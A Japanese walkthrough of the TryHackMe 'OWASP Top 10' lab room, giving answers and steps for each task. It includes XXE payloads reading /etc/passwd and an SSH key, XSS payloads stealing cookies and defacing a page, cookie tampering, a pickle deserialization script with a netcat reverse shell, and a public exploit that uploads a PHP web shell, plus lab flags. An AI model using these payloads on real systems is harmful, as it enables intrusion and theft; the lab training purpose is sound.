【TryHackMe】OWASP Top 10：Walkthrough

# 概要

TryHackMe「OWASP Top 10」のWalkthroughです。

https://tryhackme.com/r/room/owasptop10

# Task5

## **Q1**.*What strange text file is in the website root directory?*

`http://ip address/evilshell.php.`へアクセスします。
このサイトではフォームへコマンドを入力することで、コマンドインジェクションを実行できます。

![task5 q1 home screen.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fa0f50ea-ea29-435d-5695-208319c9bf07.png)

`ls`で見ると、`drpepper.txt`が怪しいですね。

![task5 q1 get answer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a84300bc-3b12-2006-64b7-807a6b8428bd.png)

**A**.**drpepper.txt**

## **Q2**.*How many non-root/non-service/non-daemon users are there?*

`ルートアカウント`、`サービスアカウント`、`デーモンアカウント`ではないユーザーは何人か聞かれています。

`/etc/passwd`ファイルを確認してみます。

![cat etc passwd.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e182906d-f847-e22b-69f4-e80d3e3bfee4.png)

ユーザー情報が表示されました。
通常ユーザーはUIDが`1000番以降`になりますが、見当たりません。
ユーザーのホームディレクトリを探しても見つからないので、`0`が答えになります。

![ls -l home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a666cf13-dd31-ac97-f0d1-ad032312af0e.png)

**A**.**0**

## **Q3**.*What user is this app running as?*

`whoami`コマンドでユーザーを表示します。

![whoami.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4b9597a3-464b-29cf-bb3f-baab45cabc31.png)

**A**.**www-data**

## **Q4**.*What is the user's shell set as?*

`/etc/passwd`ファイルから`www-data`ユーザーのシェルを確認できます。

![user shell.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/66a86cdb-913d-c1cb-327c-e33c61c4239e.png)

**A**.**/usr/sbin/nologin**

## **Q5**.*What version of Ubuntu is running?*

`lsb_release`コマンドでUbuntuのバージョンを確認できます。

![ubuntu version.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/45690b0b-f7a6-65e4-3f92-8ad1ace03aec.png)

**A**.**18.04.4**

## **Q6**.*Print out the MOTD.  What favorite beverage is shown?*

**Hint**.*00-header*

`MOTD`とは`Message of the day`、`今日のお知らせ`というもので、ユーザーがログインした際などに表示されるメッセージを指します。

Red Hatでは`/etc/motd`にありますが、Ubuntuでは`/etc/update-motd.d`にあります。

https://access.redhat.com/solutions/223483

https://askubuntu.com/questions/800928/where-is-motd-on-modern-ubuntu-systems

ヒントからファイル名は`00-header`であると予想できます。
ファイルを検索するとヒットしました。

![ls -l motd.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/52318f5b-e477-ed0b-e57e-2e14f5328b0a.png)

`00-header`の中身を閲覧すると、最後の行に`DR PEPPER MAKES THE WORLD TASTE BETTER!`という文言がありました。
ドクターペッパーが物凄く好きみたいですね。
美味しいですよね。

![task5 q6 get ans.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/af4b8f90-b1be-42bd-d0ea-51de9b4844bb.png)

**A**.**DR PEPPER**

# Task7

`ip address:8888`にアクセスします。

![task7 home screen.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/24a99ff9-e406-20a8-fca2-05043072795c.png)

右上の`Register`をクリックし、アカウント登録画面で`darren`アカウントの作成を試みます。

![task7 register form.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6118d467-22de-0c4f-db46-9696be5996b4.png)

アカウントは既に登録されているとして作成に失敗しました。

![task7 failed register.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1e2da8f7-148f-d363-d628-abbf0aea89d5.png)

## **Q1**.*What is the flag that you found in darren's account?*

`　darren`(先頭に空白があります)という名前でアカウントを作成します。
登録後、作成したアカウントへログインすると、既存の`darren`アカウントへログインできました。

![task7 q1 get answer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6413bee2-6174-8cd8-0690-9a921bd51d42.png)

**A**.**fe86079416a21a3c99937fea8874b667**

## **Q3**.*What is the flag that you found in arthur's account?*

同じように`　arthur`(先頭に空白があります)という名前でアカウントを作成後、サインインすると、既存の`arthur`アカウントへのログインが成功しました。

![task7 q2 get answer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e2e619d5-f90d-1216-2c98-171b5a86d3f7.png)

**A**.**d9ac0f7db4fda460ac3edeb75d75e16e**

# Task11

## **Q1**.*Have a look around the webapp. The developer has left themselves a note indicating that there is sensitive data in a specific directory. What is the name of the mentioned directory?*

**Hint**.*Have a look at the source code on the /login page.*

ヒント通りに`/login`ページのソースコードを見るとコメントアウトで下記文言が記載されていました。

```
Must remember to do something better with the database than store it in /assets... 
```

**A**.**/assets**

## **Q2**.*Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?*

`/assets`へアクセスするとディレクトリ構成が閲覧でき、`webapp.db`という興味深いファイルを発見しました。

![task11 q2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/530a2bf4-6e6f-20e6-4b02-942d5660b5f3.png)

**A**.**webapp.db**

## **Q3**.*Use the supporting material to access the sensitive data. What is the password hash of the admin user?*

`webapp.db`をダウンロードし`users`テーブルにユーザー情報を発見しました。

![task11 q3 users.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/eba8858c-03d2-9d1b-dd23-ccab82fd8a72.png)

`password`はハッシュ化されているようです。

**A**.**6eea9b7ef19179a06954edd0f6c05ceb**

## **Q4**.*Crack the hash.What is the admin's plaintext password?*

下記サイトへアクセスし`admin`のパスワードハッシュを解析します。

https://crackstation.net/

解析に成功し、`admin`のパスワードを特定出来ました。

![task11 q4 cracked.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/458349bf-c42c-fd39-eccd-574d9b1f4c1e.png)

**A**.**qwertyuiop**

## **Q5**.*Login as the admin. What is the flag?*

得られた情報で`admin`へログインしフラグをゲットします。

![task11 q5 get flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7b67c9d6-bbe2-8818-9212-098d2c63652d.png)

**A**.**THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}**

# Task13

## **Q1**.*Full form of XML*

**A**.**eXtensible Markup Language**

## **Q2**.*Is it compulsory to have XML prolog in XML documents?*

**A**.**no**

## **Q3**.*Can we validate XML documents against a schema?*

**A**.**yes**

## **Q4**.*How can we specify XML version and encoding in XML document?*

**A**.**XML Prolog**

# Task14

## **Q1**.*How do you define a new ELEMENT?*

**A**.**!ELEMENT**

## **Q2**.*How do you define a ROOT element?*

**A**.**!DOCTYPE**

## **Q3**.*How do you define a new ENTITY?*

**A**.**!ENTITY**

# Task16

## **Q3**.*What is the name of the user in /etc/passwd*

フォームに`XML`を入力することで`XXE`を実行できるサイトみたいです。

![task16 q3 home screen.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f28e26af-c0da-47d0-9db4-ed895936a2a1.png)

`/etc/passwd`ファイルを読み込むペイロードを送信します。

```
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
```

`/etc/passwd`ファイルが出力されユーザーを特定できました。

![task16 q3 get etc passwd.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1c9a99d3-5fea-addb-6128-a1ccbb1275ff.png)

**A**.**falcon**

## **Q4**.*Where is falcon's SSH key located?*

`/etc/passwd`ファイルから`falcon`のホームディレクトリが`/home/falcon`であると判明したのでペイロードを編集して再度送信します。

```
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///home/falcon/.ssh/id_rsa'>]>
<root>&read;</root>
```

`falcon`の秘密鍵を取得できました。

![task16 q4 get private key.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f278be37-1cd5-c673-920b-94338de1c183.png)

**A**.**/home/falcon/.ssh/id_rsa**

## **Q5**.*What are the first 18 characters for falcon's private key*

**A**.**MIIEogIBAAKCAQEA7b**

# Task18

## **Q3**.*Look at other users notes. What is the flag?*

**Hint**.*The URL contains ?note=1 - I wonder what happens if you change the parameter value? You might be able to access another users note..*

対象マシンにアクセスし`Username: noot`,`Password: test1234`でログインします。

![task18 q3 home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c337e512-8357-b96a-b6cb-9c2560374a68.png)

ログイン後、自身のノートを閲覧できました。

![task18 q3 noot.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b908d3d7-6f20-74a4-8c64-d66a58244e6a.png)

URLパラメータに注目すると、数値を変更することで他のデータを閲覧できそうです。
値を`0`にすることで、フラグを取得できました。

![task18 q3 get flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/32c83827-fe58-218b-7866-bb6fa4c5910b.png)

**A**.**flag{fivefourthree}**

# Task19

## **Q2**.*Hack into the webapp, and find the flag!*

**Hint**.*Can you find the app's source code? Maybe the documentation gives you default credentials that you can try.*

ヒントからドキュメントにデフォルトのクレデンシャル情報があるみたいなので探します。
GitHubで該当アプリのリポジトリを見つけました。

https://github.com/NinjaJc01/PensiveNotes

`README.md`に認証情報が記載されてます。

```README.md
Using PensiveNotes

After downloading and compiling PensiveNotes, log in using the default credentials pensive:PensiveNotes

Make sure you change this password immediately!
```

`Username: pensive`,`Password: PensiveNotes`でログインするとフラグゲットです。

![task19 q2 get flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b0a2a167-0ae0-efec-8532-d8122b4be8fa.png)

**A**.**thm{4b9513968fd564a87b28aa1f9d672e17}**

# Task20

## **Q2**.*Navigate to `http://ip address/` in your browser and click on the "Reflected XSS" tab on the navbar; craft a reflected XSS payload that will cause a popup saying "Hello".*

このページでは検索機能があり、URLのパラメータに検索する文字列が入っています。

![task20 q2 test search.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c498b8f1-2242-d4f2-3f06-ebf872d621a3.png)

パラメータにスクリプトタグを使用することで反射型XSSを引き起こせます。

```
?keyword=<script>alert("Hello")</script>
```

ポップアップが表示され、フラグをゲットしました。

![task20 q2 popuo.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0794695a-3f7e-3ff0-a3e0-442f850ac9a6.png)

![task20 q2 answer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/702ae05b-0ab2-0a7f-1c64-59b47881fb72.png)

**A**.**ThereIsMoreToXSSThanYouThink**

## **Q3**.*On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.*

**Hint**.*In Javascript window.location.hostname will show your hostname, in this case your deployed machine's hostname will be its IP.*

同じように今度はホスト名を出力します。

```
?keyword=<script>alert(window.location.hostname)</script>
```

ポップアップにフラグが表示されました。

![task20 q3 get ip.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/eae11e62-73c8-683a-fafe-6a64edc1b478.png)

![task20 q3 answer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a1f7401a-693e-ac21-3458-0f2b2b259472.png)

**A**.**ReflectiveXss4TheWin**

## **Q4**.*Now navigate to `http://ip address/` in your browser and click on the "Stored XSS" tab on the navbar; make an account.Then add a comment and see if you can insert some of your own HTML.*

`Register`フォームからアカウントを登録します。

![task20 q4 home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fab8831b-8ad2-8f31-c834-09e79de0aac7.png)

ログインするとコメントを投稿するページに遷移しました。

![task20 q4 login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/48a34b99-0472-a57c-0577-b29320cd1ae2.png)

投稿フォームから送信した内容がそのままページに表示されています。
そのためHTMLタグを送信することができます。
試しに`<br>`を送信するとフラグが表示されました。

![task20 q4 get flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1b27be67-c6c8-5bf8-595b-6d166e5ce4fa.png)

**A**.**HTML_T4gs**

## **Q5**.*On the same page, create an alert popup box appear on the page with your document cookies.*

スクリプトタグも使用することができます。
Cookie情報をポップアップで表示させます。

```js
<script>alert(document.cookie)</script>
```

![task20 q5 cookie popup.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/57b5def4-a7bd-44a7-95be-3f49a670e320.png)

ポップアップにフラグが表示されました。

![task20 q5 get flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0c4f4585-82dd-6d25-e97b-a992115a77e7.png)

**A**.**W3LL_D0N3_LVL2**

## **Q6**.*Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.*

**Hint**.*`<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>`*

スクリプトタグを使用してHTML要素を変更することもできます。

```js
<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>
```

実行後、HTML要素が変化しているのを確認できました。

```html
<span id="thm-title">I am a hacker</span>
```

サイトにはフラグが表示されました。

![task20 q6 get flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4249dace-2984-3b35-0b8f-6f90ed0f40e5.png)

**A**.**websites_can_be_easily_defaced_with_xss**

# Task21

## **Q1**.*Who developed the Tomcat application?*

**Hint**.*The full name*

**A**.**Apache Software Foundation**

## **Q2**.*What type of attack that crashes services can be performed with insecure deserialization?*

**Hint**.*Also known as a "DoS" attack*

**A**.**Denial of Service**

# Task22

## **Q1**.*if a dog was sleeping, would this be: A) A State,B) A Behaviour*

**A**.**A Behaviour**

# Task23

## **Q1**.*What is the name of the base-2 formatting that data is sent across a network as?*

**A**.**Binary**

# Task24

## **Q1**.*If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be?*

**A**.**webapp.com/login**

## **Q2**.*What is the acronym for the web technology that Secure cookies work over?*

**A**.**HTTPS**

# Task25

## **Q1**.*1st flag (cookie value)*

サイトにアクセスしアカウントを作成します。

![task25 q1 sign in.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2de7a3a0-c047-f8b7-a139-57306a035acc.png)

Cookieを見ると`sessionid`にbase64でエンコードされた値を見つけました。

![task25 q1 cookie.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/90fa6dd0-27a9-b43f-23db-220852ea805c.png)

この値をデコードするとフラグゲットです。

```
$ echo -n "gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAAOWIzYzVmYzkzMmM4NGZjYTg1MTFmZTc5ZDM3MzI4YWFxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==" | base64 -d
�}q(X   sessionIdqX 9b3c5fc932c84fca8511fe79d37328aaqX
                                                      encodedflagqX▒THM{good_old_base64_huh}qu.
```

**A**.**THM{good_old_base64_huh}**

## **Q2**.*2nd flag (admin dashboard)*

Cookieの`userType`に注目すると`user`という値が入っています。
この値を`admin`に変更しページをリロードすると管理者画面へアクセスでき、フラグゲットです。

![task25 q2 get flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/88bb549d-a0c6-81f0-649d-5387b9922504.png)

**A**.**THM{heres_the_admin_flag}**

# Task26

## **Q1**.*flag.txt*

`netcat`で4444ポートをリッスンします。

:::note warn
この時ソースコードのポートとリッスンするポートを一致させる必要があります。
:::

```
$ nc -lvnp 4444                                       
listening on [any] 4444 ...
```

プロフィールページにアクセスし、②の`Exchange your vim`をクリックします。

![task26 q1 profile.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a6d3a534-83f6-e1ac-095e-ed5a05a34d41.png)

その後、③の`Provide your feedback!`へアクセスします。

![task26 q1 feedback.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5422db4c-abf7-9c8f-5166-73c4312aefd3.png)

TryHackMeの説明欄から`pickelme.py`を取得し、IPアドレスを`自身のマシンIP`に変更します。

```python
import pickle
import sys
import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'

class rce(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

print(base64.b64encode(pickle.dumps(rce())))
```

編集した`puckleme.py`を実行します。

```
$ python3 Desktop/pickleme.py 
b'gASVdAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFlybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI+JjEgfCBuZXRjYXQgMTAuNi41NS4xNDQgNDQ0NCA+IC90bXAvZpSFlFKULg=='
```

base64でエンコードされた値をCookieの`encodedPayload`にセットします。

![task26 q1 edit cookie.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f8844234-eda8-32ff-4909-874a6223b168.png)

Cookieの変更後、フィードバックページをリロードするとnetcatでシェルが取得でき、フラグを取得できます。

```
$ cat ../flag.txt
4a69a7ff9fd68
```

**A**.**4a69a7ff9fd68**

# Task29

## **Q1**.*How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)*

**Hint**.*You know its a bookstore application, you should check for recent unauthenticated bookstore app rce's.*

アプリケーションのフッターに`projectworlds`のリンクがあり、対象マシンで動いているアプリケーションは`projectworlds`という所からダウンロードされたものだと特定できました。

https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/

説明欄から`admin`アカウントのクレデンシャル情報を入手しました。

![task29 q1 admin credential.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ab89fa10-2066-161f-b0bb-3d744831b0d5.png)

`admin`アカウントでのログインに成功しました。

![task29 q1 admin login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/beecbcc5-d27c-ba1e-b566-af6f916b6c19.png)

管理者画面を一通り見ましたが、RCEに繋がりそうなものは見つかりませんでした。

手法を変え、`searchsploit`で脆弱性情報を検索します。

```
$ searchsploit Online Book Store
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
GotoCode Online Bookstore - Multiple Vulnerabilities                               | asp/webapps/17921.txt
Online Book Store 1.0 - 'bookisbn' SQL Injection                                   | php/webapps/47922.txt
Online Book Store 1.0 - 'id' SQL Injection                                         | php/webapps/48775.txt
Online Book Store 1.0 - Arbitrary File Upload                                      | php/webapps/47928.txt
Online Book Store 1.0 - Unauthenticated Remote Code Execution                      | php/webapps/47887.py
Online Event Booking and Reservation System 1.0 - 'reason' Stored Cross-Site Scrip | php/webapps/50450.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

また、[exploit-db](https://www.exploit-db.com/search)でも同様に探すことができます。

https://www.exploit-db.com/exploits/47887

いくつかヒットした中に、RCEの情報もあるので今回はこれを利用します。
`searchsploit`の`Path`は`/usr/share/exploitdb/exploits/`配下を指しています。

```
$ ls -l /usr/share/exploitdb/exploits/php/webapps/47887.py 
-rwxr-xr-x 1 root root 2063 Dec 21 19:16 /usr/share/exploitdb/exploits/php/webapps/47887.py
```

ヘルプを見てみると、URLを指定すれば動きそうです。

```
$ python 47887.py -h
usage: 47887.py [-h] url

positional arguments:
  url         The URL of the target.

options:
  -h, --help  show this help message and exit
```

実行するとシェルを取得できました。

```
$ python 47887.py http://10.10.154.229
> Attempting to upload PHP web shell...
> Verifying shell upload...
> Web shell uploaded to http://10.10.154.229/bootstrap/img/1RsdXbPkRo.php
> Example command usage: http://10.10.154.229/bootstrap/img/1RsdXbPkRo.php?cmd=whoami
> Do you wish to launch a shell here? (y/n): y
RCE $
```

`/etc/passwd`の文字数をカウントしてフラグゲットです。

```
RCE $ wc -c /etc/passwd
1611 /etc/passwd
```

**A**.**1611**

# Task30

ファイルをダウンロードするとテキストファイルにはログが書き込まれていました。

```
$ cat login-logs_1595366583422.txt 
200 OK           12.55.22.88 jr22          2019-03-18T09:21:17 /login
200 OK           14.56.23.11 rand99        2019-03-18T10:19:22 /login
200 OK           17.33.10.38 afer11        2019-03-18T11:11:44 /login
200 OK           99.12.44.20 rad4          2019-03-18T11:55:51 /login
200 OK           67.34.22.10 bff1          2019-03-18T13:08:59 /login
200 OK           34.55.11.14 hax0r         2019-03-21T16:08:15 /login
401 Unauthorised 49.99.13.16 admin         2019-03-21T21:08:15 /login
401 Unauthorised 49.99.13.16 administrator 2019-03-21T21:08:20 /login
401 Unauthorised 49.99.13.16 anonymous     2019-03-21T21:08:25 /login
401 Unauthorised 49.99.13.16 root          2019-03-21T21:08:30 /login 
```

## **Q1**.*What IP address is the attacker using?*

**Hint**.*Check for common actions in a short sequence of time*

管理者ユーザーでアクセスしようとして`401`コードを何度も返されているのが怪しいですね。

**A**.**49.99.13.16**

## **Q2**.*What kind of attack is being carried out?*

**Hint**.*Trying combinations of usernames and passwords to gain access to users' accounts.*

**A**.**brute force**